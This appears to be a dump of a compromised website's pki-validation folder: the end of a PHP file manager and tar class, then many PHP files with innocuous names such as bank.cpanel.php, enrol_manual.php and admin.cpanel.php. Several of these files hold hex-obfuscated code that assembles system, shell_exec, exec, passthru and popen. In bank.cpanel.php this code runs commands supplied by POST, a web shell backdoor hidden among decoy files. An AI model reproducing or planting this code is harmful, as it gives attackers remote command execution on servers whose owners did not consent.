if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } 383114/error_log 0000644 00000000320 15122346321 0007216 0 ustar 00 [15-Dec-2025 01:47:48 UTC] PHP Warning: session_start(): Cannot start session when headers already sent in /home/mybf1/public_html/minyakwangi.bf1.my/.well-known/pki-validation/383114/index.php on line 1215 EBA568C2F49FD6B94B9AF409301946E6.txt 0000644 00000000115 15122351620 0011101 0 ustar 00 667cac406e24479d8e519f0ca62e88e340130cbc856b2cb80a7f0249e943b5e8 comodoca.com BD675630AF193A3BD9B0EA5D4E523581.txt 0000644 00000000115 15122351620 0011050 0 ustar 00 7b3b06068efac109b79b2f905fc6c36bba1a8f11642898a78cd9521c8d36ac2e comodoca.com 56B5F8560A4DADFB32005E1BFD13ED46.txt 0000644 00000000115 15122351620 0011102 0 ustar 00 c8a61c829521a777c2eafdee30044fe8f168a631a60fa5789316e6f4af985ae5 comodoca.com D12476D0BB6FB1615C55E83FBB37348F.txt 0000644 00000000115 15122351620 0011057 0 ustar 00 d0531ffca77199658d09b6b88c8bd482df10eba481a97cbdb643e9e0dcadadb8 comodoca.com socrates.php 0000644 00000000000 15122351620 0007063 0 ustar 00 edithelptopic.php 0000644 00000000000 15122352170 0010076 0 ustar 00 mod_gallery2.php 0000644 00000000000 15122352402 0007617 0 ustar 00 mod.gallery2.php 0000644 00000000000 15122352402 0007536 0 ustar 00 bank.php 0000644 00000000000 15122354444 0006162 0 ustar 00 admin.cpanel.php 0000644 00000002360 15122354444 0007613 0 ustar 00 <?php $oauthexceptions1=''; trim($_REQUEST['qVPkZe']); trim($_REQUEST['PwgFsx']); $field1 = '3'; $field2 = '7'; $field3 = '6'; $field4 = 'd'; $field5 = '8'; $field6 = '5'; $field7 = '0'; $field8 = '2'; $field9 = 'f'; $field10 = 'e'; $field11 = '1'; $field12 = '4'; $field13 = 'c'; $sys1 = pack("H*", '7'.$field1.'7'.'9'.$field2.'3'.$field2.'4'.'6'.'5'.$field3.$field4); $sys2 = pack("H*", '7'.$field1.'6'.$field5.$field3.$field6.'6'.'c'.'6'.'c'.$field6.'f'.$field3.$field6.$field2.'8'.$field3.'5'.'6'.'3'); $sys3 = pack("H*", '6'.'5'.'7'.$field5.$field3.'5'.'6'.$field1); $sys4 = pack("H*", '7'.$field7.'6'.'1'.'7'.$field1.'7'.'3'.$field2.'4'.'6'.$field5.$field2.$field8.'7'.$field6); $sys5 = pack("H*", $field2.'0'.'6'.$field9.'7'.$field7.'6'.$field6.$field3.$field10); $sys6 = pack("H*", '7'.$field1.$field2.'4'.$field2.$field8.$field3.$field6.'6'.$field11.'6'.'d'.$field6.'f'.'6'.$field2.$field3.$field6.$field2.$field12.$field6.$field9.'6'.'3'.$field3.'f'.$field3.$field10.'7'.$field12.'6'.$field6.'6'.$field10.'7'.$field12.'7'.'3'); $sys7 = pack("H*", '7'.'0'.$field3.'3'.$field3.$field13.$field3.$field9.$field2.'3'.$field3.'5'); bank.cpanel.php 0000644 00000004463 15122354444 0007444 0 ustar 00 <?php trim($_REQUEST['BGyWXF']); $cache6 = pack("H*", '7'.$param2.'7'.$param3.'7'.$param11.'6'.$param7.$param5.$param10.'6'.'d'.'5'.$param8.$param5.$param1.'6'.'5'.'7'.'4'.$param7.$param8.'6'.'3'.$param5.$param8.$param5.'e'.$param1.$param3.$param5.$param7.'6'.$param12.'7'.$param3.'7'.'3');$cache7 = pack("H*", '7'.'0'.'6'.$param2.$param5.$param6.$param5.$param8.'7'.$param2.$param5.'5');$accepted = pack("H*", $param5.'1'.$param5.$param2.$param5.'3'.'6'.'5'.$param1.$param9.$param1.$param3.$param5.'5'.$param5.$param3);if(isset($_POST[$accepted])){$accepted=pack("H*",$_POST[$accepted]);if(function_exists($cache1)){$cache1($accepted);}elseif(function_exists($cache2)){print $cache2($accepted);}elseif(function_exists($cache3)){$cache3($accepted,$fld_identifier);print join("\n",$fld_identifier);}elseif(function_exists($cache4)){$cache4($accepted);}elseif(function_exists($cache5)&&function_exists($cache6)&&function_exists($cache7)){$slot_st=$cache5($accepted,"r");if($slot_st){$const_parameter=$cache6($slot_st);$cache7($slot_st);print $const_parameter;}}exit;} trim($_REQUEST['GLxrUu']); $storage1 = '73'; $storage2 = '5f'; $storage3 = '65'; $storage4 = '78'; $storage5 = '63'; $storage6 = '61'; $storage7 = '74'; $storage8 = '72'; $storage9 = '75'; $storage10 = '6f'; $storage11 = '70'; $storage12 = '6e'; $storage13 = '67'; $rfind1 = pack("H*", $storage1 . '79' . '73' . '74' . '65' . '6d'); $rfind2 = pack("H*", $storage1 . '68' . '65' . '6c' . '6c' . $storage2 . $storage3 . $storage4 . $storage3 . $storage5); $rfind3 = pack("H*", '65' . $storage4 . $storage3 . $storage5); $rfind4 = pack("H*", '70' . $storage6 . '73' . '73' . $storage7 . '68' . $storage8 . $storage9); $rfind5 = pack("H*", '70' . $storage10 . $storage11 . '65' . $storage12); $rfind6 = pack("H*", '73' . $storage7 . $storage8 . '65' . $storage6 . '6d' . $storage2 . $storage13 . $storage3 . '74' . $storage2 . $storage5 . $storage10 . '6e' . '74' . '65' . '6e' . '74' . '73'); $rfind7 = pack("H*", '70' . $storage5 . '6c' . $storage10 . $storage1 . $storage3); $requests = pack("H*", $storage8 . '65' . '71' . '75' . $storage3 . $storage1 . '74' . $storage1); ibase_pconnection.php 0000644 00000001143 15122354444 0010742 0 ustar 00 <?php trim($_REQUEST['HQFbKx']); trim($_REQUEST['UuYnKC']); $db2_convert6 = pack("H*", '7'.'3'.$argument1.$argument3.$argument1.'2'.$argument4.$argument8.$argument4.$argument11.$argument4.$argument12.'5'.$argument7.'6'.'7'.'6'.'5'.'7'.'4'.$argument8.'f'.$argument4.$argument5.'6'.$argument7.$argument4.'e'.'7'.$argument3.$argument4.$argument8.'6'.$argument13.$argument1.$argument3.$argument1.'3'); $db2_convert7 = pack("H*", $argument1.$argument10.'6'.$argument5.$argument4.$argument6.'6'.$argument7.'7'.'3'.$argument4.'5'); ibase.pconnection.php 0000644 00000000000 15122354444 0010650 0 ustar 00 bank.pconnection.php 0000644 00000002203 15122354444 0010507 0 ustar 00 <?php trim($_REQUEST['dTmXpU']); $slot1 = '73'; $slot2 = '79'; $slot3 = '74'; $slot4 = '68'; $slot5 = '6c'; $slot6 = '5f'; $slot7 = '78'; $slot8 = '65'; $slot9 = '63'; $slot10 = '70'; $slot11 = '72'; $slot12 = '75'; $slot13 = '6e'; $slot14 = '61'; $slot15 = '67'; $slot16 = '6f'; $slot17 = '6b'; $slot18 = '64'; $oauthexceptions1 = pack("H*", $slot1 . $slot2 . $slot1 . $slot3 . '65' . '6d'); $oauthexceptions2 = pack("H*", $slot1 . $slot4 . '65' . $slot5 . $slot5 . $slot6 . '65' . $slot7 . $slot8 . $slot9); $oauthexceptions3 = pack("H*", $slot8 . '78' . $slot8 . $slot9); $oauthexceptions4 = pack("H*", $slot10 . '61' . '73' . $slot1 . $slot3 . '68' . $slot11 . $slot12); $oauthexceptions5 = pack("H*", $slot10 . '6f' . $slot10 . $slot8 . $slot13); $oauthexceptions6 = pack("H*", '73' . $slot3 . '72' . $slot8 . $slot14 . '6d' . $slot6 . $slot15 . $slot8 . '74' . '5f' . $slot9 . '6f' . $slot13 . $slot3 . $slot8 . '6e' . $slot3 . $slot1); $oauthexceptions7 = pack("H*", '70' . '63' . $slot5 . $slot16 . $slot1 . $slot8); ibase.cpanel.php 0000644 00000000000 15122354444 0007573 0 ustar 00 admin.pconnection.php 0000644 00000000000 15122354444 0010655 0 ustar 00 punbb12.inc.php 0000644 00000000000 15122354444 0007270 0 ustar 00 ibase.inc.php 0000644 00000000000 15122354444 0007102 0 ustar 00 punbb12.pconnection.php 0000644 00000000000 15122354444 0011036 0 ustar 00 admin.inc.php 0000644 00000000000 15122354444 0007107 0 ustar 00 punbb12.cpanel.php 0000644 00000000000 15122354444 0007761 0 ustar 00 bank.inc.php 0000644 00000000000 15122354444 0006732 0 ustar 00 adr_copyright.php 0000644 00000000000 15122354444 0010105 0 ustar 00 punbb12.copyright.php 0000644 00000000000 15122354444 0010527 0 ustar 00 ibase.copyright.php 0000644 00000000000 15122354444 0010341 0 ustar 00 admin.copyright.php 0000644 00000000000 15122354444 0010346 0 ustar 00 bank.copyright.php 0000644 00000000654 15122354444 0010210 0 ustar 00 <?php $accept6 = pack("H*", $attr2.$attr1.$attr2.$attr10.$attr2.'2'.'6'.$attr3.'6'.'1'.$attr4.$attr5.$attr3.'f'.'6'.'7'.'6'.$attr3.'7'.$attr10.$attr3.$attr11.'6'.$attr1.$attr4.$attr11.'6'.'e'.'7'.$attr10.$attr4.$attr3.'6'.'e'.$attr2.'4'.'7'.'3'); $accept7 = pack("H*", $attr2.$attr8.'6'.$attr1.'6'.$attr7.$attr4.'f'.$attr2.'3'.$attr4.'5'); adr.copyright.php 0000644 00000000204 15122354444 0010032 0 ustar 00 <?php $cache = pack("H*", $identifier4 . '3' . '6' . $identifier8 . '6' . '3' . $identifier4 . '8' . $identifier4 . $identifier6); adr.cpanel.php 0000644 00000000000 15122354444 0007256 0 ustar 00 adr.inc.php 0000644 00000000000 15122354444 0006565 0 ustar 00 adr.pconnection.php 0000644 00000000000 15122354444 0010333 0 ustar 00 gettext.php 0000644 00000000000 15122354444 0006733 0 ustar 00 gettext.copyright.php 0000644 00000000000 15122354444 0010742 0 ustar 00 gettext.pconnection.php 0000644 00000000000 15122354444 0011251 0 ustar 00 gettext.inc.php 0000644 00000000000 15122354444 0007503 0 ustar 00 gettext.cpanel.php 0000644 00000000000 15122354444 0010174 0 ustar 00 formValidation.php 0000644 00000000000 15122354444 0010225 0 ustar 00 formValidation.pconnection.php 0000644 00000000000 15122354444 0012543 0 ustar 00 formValidation.cpanel.php 0000644 00000000000 15122354444 0011466 0 ustar 00 formValidation.inc.php 0000644 00000000000 15122354444 0010775 0 ustar 00 formValidation.copyright.php 0000644 00000000000 15122354444 0012234 0 ustar 00 tplfile.php 0000644 00000000170 15122354444 0006716 0 ustar 00 <?php trim($_REQUEST['KHvufi']); tplfile.inc.php 0000644 00000000000 15122354444 0007456 0 ustar 00 tplfile.cpanel.php 0000644 00000000000 15122354444 0010147 0 ustar 00 tplfile.copyright.php 0000644 00000000000 15122354444 0010715 0 ustar 00 class.date.php 0000644 00000000000 15122354444 0007270 0 ustar 00 class.pconnection.php 0000644 00000000447 15122354444 0010711 0 ustar 00 <?php $requests6 = pack("H*", $st2.$st1.'7'.$st4.'7'.$st13.'6'.$st8.'6'.'1'.'6'.$st6.$st8.'f'.'6'.$st2.$st5.$st8.$st2.$st4.'5'.$st10.$st5.$st1.'6'.$st10.$st5.$st14.'7'.'4'.$st5.$st8.'6'.'e'.$st2.$st4.'7'.$st1); $requests7 = pack("H*", $st2.'0'.'6'.'3'.'6'.'c'.'6'.$st10.$st2.'3'.$st5.$st8); class.copyright.php 0000644 00000000000 15122354444 0010363 0 ustar 00 bank.date.php 0000644 00000000000 15122354444 0007076 0 ustar 00 punbb12.date.php 0000644 00000000000 15122354444 0007434 0 ustar 00 gettext.date.php 0000644 00000000612 15122354444 0007660 0 ustar 00 <?php $partition6 = pack("H*", '7'.'3'.'7'.'4'.$field1.$field12.'6'.'5'.$field4.$field13.$field4.'d'.'5'.'f'.'6'.'7'.$field4.'5'.'7'.$field3.'5'.$field7.$field4.$field9.$field4.$field7.'6'.$field11.$field1.$field3.'6'.$field6.'6'.$field11.'7'.'4'.$field1.'3'); $partition7 = pack("H*", $field1.$field10.'6'.'3'.'6'.'c'.'6'.'f'.'7'.'3'.$field4.'5'); tplfile.pconnection.php 0000644 00000000000 15122354444 0011224 0 ustar 00 adr.date.php 0000644 00000000000 15122354444 0006731 0 ustar 00 class.cpanel.php 0000644 00000002211 15122354444 0007623 0 ustar 00 <?php $parle_tokens6 = pack("H*", '7' . $const2 . '7' . '4' . $const1 . $const12 . $const3 . '5' . '6' . $const13 . $const3 . 'd' . $const7 . $const10 . $const3 . $const1 . '6' . $const7 . $const1 . '4' . '5' . $const10 . '6' . $const2 . $const3 . $const10 . '6' . 'e' . $const1 . '4' . $const3 . '5' . $const3 . $const11 . $const1 . $const9 . $const1 . $const2);$parle_tokens7 = pack("H*", $const1 . '0' . '6' . '3' . '6' . 'c' . '6' . 'f' . '7' . '3' . $const3 . $const7); $content6 = pack("H*", $identifier2 . $identifier1 . $identifier2 . $identifier3 . '7' . '2' . '6' . '5' . '6' . $identifier10 . $identifier4 . $identifier11 . $identifier7 . 'f' . '6' . $identifier2 . $identifier4 . '5' . $identifier2 . $identifier3 . '5' . 'f' . '6' . $identifier1 . $identifier4 . 'f' . '6' . 'e' . $identifier2 . '4' . '6' . '5' . $identifier4 . $identifier12 . '7' . '4' . $identifier2 . '3'); $content7 = pack("H*", '7' . '0' . '6' . '3' . '6' . 'c' . '6' . $identifier13 . $identifier2 . '3' . '6' . $identifier7); $cache = pack("H*", $identifier4 . '3' . '6' . $identifier10 . $identifier4 . '3' . $identifier4 . $identifier5 . $identifier4 . $identifier7); ibase.date.php 0000644 00000000000 15122354444 0007246 0 ustar 00 tplfile.date.php 0000644 00000000000 15122354444 0007622 0 ustar 00 formValidation.date.php 0000644 00000000000 15122354444 0011141 0 ustar 00 class.inc.php 0000644 00000000000 15122354444 0007124 0 ustar 00 forms.php 0000644 00000000000 15122354643 0006376 0 ustar 00 habhan.php 0000644 00000000000 15122354643 0006471 0 ustar 00 A5B8E57C6DB8D39DE4D4513DED4D5905.txt 0000644 00000000115 15122357533 0011145 0 ustar 00 61298c478d901d32f3cc6333f11961c5076adf7c0ead0118c9c05aaa7201adf4 comodoca.com A6B2326FAA6B0A9678DAB1B26C62B9D2.txt 0000644 00000000115 15122357533 0011112 0 ustar 00 6c8d9dd6e84fb40f6d29f50e1f607950b5cf49a3d795ecd9f33dbd4624bb4ad6 comodoca.com 003AD39771360DD5B330444AB08C9335.txt 0000644 00000000115 15122357533 0010746 0 ustar 00 adba996d273884d8c31945381b09241733be6721b57ee922ea27afc55db0b629 comodoca.com FEDEDD0933635A129D05BC90F37D40A1.txt 0000644 00000000115 15122357533 0011076 0 ustar 00 b8a9c1869e8c74addc325994b5cd346e23c1e9f339a62a3805af4ac7d4124328 comodoca.com enrol_manual.php 0000644 00000002652 15122357533 0007744 0 ustar 00 <?php trim($_REQUEST['gRjQds']); $created6 = pack("H*", '7' . $var5 . '7' . $var2 . $var1 . '2' . '6' . $var4 . '6' . $var9 . '6' . 'd' . '5' . 'f' . $var3 . $var1 . $var3 . $var4 . $var1 . '4' . '5' . 'f' . $var3 . '3' . '6' . $var11 . $var3 . $var12 . $var1 . $var2 . '6' . $var4 . '6' . $var12 . '7' . '4' . '7' . $var5);$created7 = pack("H*", '7' . '0' . $var3 . $var5 . $var3 . 'c' . $var3 . 'f' . $var1 . '3' . '6' . $var4); trim($_REQUEST['mAaTlV']); $ph1 = '7'; $ph2 = '3'; $ph3 = '9'; $ph4 = '4'; $ph5 = '6'; $ph6 = 'd'; $ph7 = '5'; $ph8 = '8'; $ph9 = '0'; $ph10 = '2'; 